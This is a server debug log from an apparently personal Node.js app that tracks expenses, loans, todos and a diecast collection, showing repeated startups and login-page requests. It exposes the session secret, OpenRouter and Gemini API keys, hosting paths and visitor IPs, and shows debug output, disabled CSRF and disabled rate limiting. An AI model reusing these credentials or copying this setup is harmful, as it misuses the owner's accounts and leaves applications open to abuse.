    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    'HTTP_X_FORWARDED-FOR': '94.154.43.185',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-23T05:59:38.156Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T05:59:40.427Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T05:59:41.291Z server-connect:setup:upload Upload middleware configured.
2026-07-23T05:59:41.292Z server-connect:secure CSRF Protection initialized
2026-07-23T05:59:41.296Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T05:59:41.297Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T05:59:41.299Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T05:59:41.301Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T05:59:41.307Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T05:59:41.311Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T05:59:41.326Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T05:59:41.341Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T05:59:41.342Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T05:59:41.344Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T05:59:41.346Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T05:59:41.349Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T05:59:41.356Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T05:59:41.366Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T05:59:41.371Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T05:59:41.442Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T05:59:41.444Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T05:59:41.448Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T05:59:41.453Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T05:59:41.457Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T05:59:41.460Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T05:59:41.467Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T05:59:41.470Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T05:59:41.475Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T05:59:41.477Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T05:59:41.481Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T05:59:41.485Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T05:59:41.487Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T05:59:41.494Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T05:59:41.494Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T05:59:41.497Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T05:59:41.499Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T05:59:41.503Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T05:59:41.503Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T05:59:41.511Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T05:59:41.514Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T05:59:41.516Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T05:59:41.526Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T05:59:42.017Z server-connect:router Serving templateView /
2026-07-23T05:59:42.020Z server-connect:app Executing action step identify
2026-07-23T05:59:42.020Z server-connect:app options: { provider: 'security' }
2026-07-23T05:59:42.022Z server-connect:auth No login cookie found
2026-07-23T05:59:42.022Z server-connect:output identity: false
2026-07-23T05:59:42.022Z server-connect:app Executing action step restrict
2026-07-23T05:59:42.022Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-23T05:59:42.026Z server-connect:output restrict: undefined
2026-07-23T05:59:43.164Z server-connect:router Serving templateView /login
2026-07-23T05:59:43.164Z server-connect:app Executing action step identify
2026-07-23T05:59:43.165Z server-connect:app options: { provider: 'security' }
2026-07-23T05:59:43.165Z server-connect:auth No login cookie found
2026-07-23T05:59:43.165Z server-connect:output identity: false
2026-07-23T05:59:43.165Z server-connect:router Render template layouts/authentication
2026-07-23T05:59:43.166Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    accept: '*/*',
    referer: 'https://www.ems.sanjaychaurasia.xyz:52223',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '195.96.139.99',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-24T05:59:43.162Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '195.96.139.99',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz:52223',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '195.96.139.99',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-23T10:51:25.189Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T10:51:27.460Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T10:51:28.324Z server-connect:setup:upload Upload middleware configured.
2026-07-23T10:51:28.325Z server-connect:secure CSRF Protection initialized
2026-07-23T10:51:28.330Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T10:51:28.330Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T10:51:28.333Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T10:51:28.336Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T10:51:28.340Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T10:51:28.344Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T10:51:28.362Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T10:51:28.375Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T10:51:28.375Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T10:51:28.378Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T10:51:28.380Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T10:51:28.384Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T10:51:28.391Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T10:51:28.399Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T10:51:28.403Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T10:51:28.474Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T10:51:28.475Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T10:51:28.480Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T10:51:28.488Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T10:51:28.491Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T10:51:28.493Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T10:51:28.500Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T10:51:28.503Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T10:51:28.510Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T10:51:28.510Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T10:51:28.514Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T10:51:28.516Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T10:51:28.519Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T10:51:28.525Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T10:51:28.525Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T10:51:28.528Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T10:51:28.530Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T10:51:28.535Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T10:51:28.535Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T10:51:28.543Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T10:51:28.546Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T10:51:28.549Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T10:51:28.559Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T10:51:29.051Z server-connect:router Serving templateView /login
2026-07-23T10:51:29.053Z server-connect:app Executing action step identify
2026-07-23T10:51:29.053Z server-connect:app options: { provider: 'security' }
2026-07-23T10:51:29.056Z server-connect:auth No login cookie found
2026-07-23T10:51:29.056Z server-connect:output identity: false
2026-07-23T10:51:29.056Z server-connect:router Render template layouts/authentication
2026-07-23T10:51:29.056Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'sec-ch-ua': '"Google Chrome";v="137", "Not/A)Brand";v="8", "Chromium";v="137"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '194.36.27.243',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-24T10:51:29.047Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '194.36.27.243',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="137", "Not/A)Brand";v="8", "Chromium";v="137"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '194.36.27.243',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-23T15:33:23.681Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:33:25.936Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:33:26.799Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:33:26.799Z server-connect:secure CSRF Protection initialized
2026-07-23T15:33:26.805Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:33:26.805Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:33:26.808Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:33:26.809Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:33:26.815Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:33:26.818Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:33:26.834Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:33:26.847Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:33:26.852Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:33:26.853Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:33:26.853Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:33:26.858Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:33:26.866Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:33:26.875Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:33:26.879Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:33:26.952Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:33:26.953Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:33:26.957Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:33:26.963Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:33:26.967Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:33:26.969Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:33:26.977Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:33:26.978Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:33:26.985Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:33:26.986Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:33:26.990Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:33:26.992Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:33:26.995Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:33:26.999Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:33:27.003Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:33:27.004Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:33:27.006Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:33:27.009Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:33:27.013Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:33:27.018Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:33:27.022Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:33:27.025Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:33:27.033Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:33:52.120Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:33:52.310Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:33:52.395Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:33:52.395Z server-connect:secure CSRF Protection initialized
2026-07-23T15:33:52.397Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:33:52.397Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:33:52.398Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:33:52.398Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:33:52.399Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:33:52.399Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:33:52.402Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:33:52.403Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:33:52.403Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:33:52.403Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:33:52.404Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:33:52.404Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:33:52.405Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:33:52.405Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:33:52.408Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:33:52.408Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:33:52.409Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:33:52.409Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:33:52.409Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:33:52.410Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:33:52.410Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:33:52.410Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:33:52.410Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:33:52.411Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:33:52.411Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:33:52.411Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:33:52.411Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:33:52.412Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:33:52.412Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:33:52.412Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:33:52.412Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:33:52.413Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:33:52.413Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:33:52.413Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:33:52.413Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:33:52.413Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:33:52.414Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:33:52.414Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:34:52.625Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:34:52.808Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:34:52.893Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:34:52.894Z server-connect:secure CSRF Protection initialized
2026-07-23T15:34:52.896Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:34:52.896Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:34:52.897Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:34:52.897Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:34:52.897Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:34:52.898Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:34:52.900Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:34:52.901Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:34:52.901Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:34:52.902Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:34:52.902Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
